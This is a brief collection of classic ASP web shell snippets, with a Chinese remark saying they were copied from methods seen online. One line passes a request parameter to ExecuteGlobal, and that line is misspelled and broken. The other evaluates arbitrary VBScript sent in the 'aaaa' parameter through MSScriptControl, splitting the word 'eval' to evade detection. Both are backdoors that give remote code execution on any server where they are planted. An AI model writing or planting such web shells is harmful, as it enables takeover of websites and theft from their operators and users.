<%ExecuteGlobal requet("1")%>

<%
set sobiny = server.CreateObject("MSScriptControl.ScriptControl.1")
sobiny.Language="VBScript"
sobiny.AddObject "Response", Response
sobiny.AddObject "request", request
sobiny.ExecuteStatement("ev"&"al(request(""aaaa""))")
%>

网上有人用这些方法，所以我抄下来！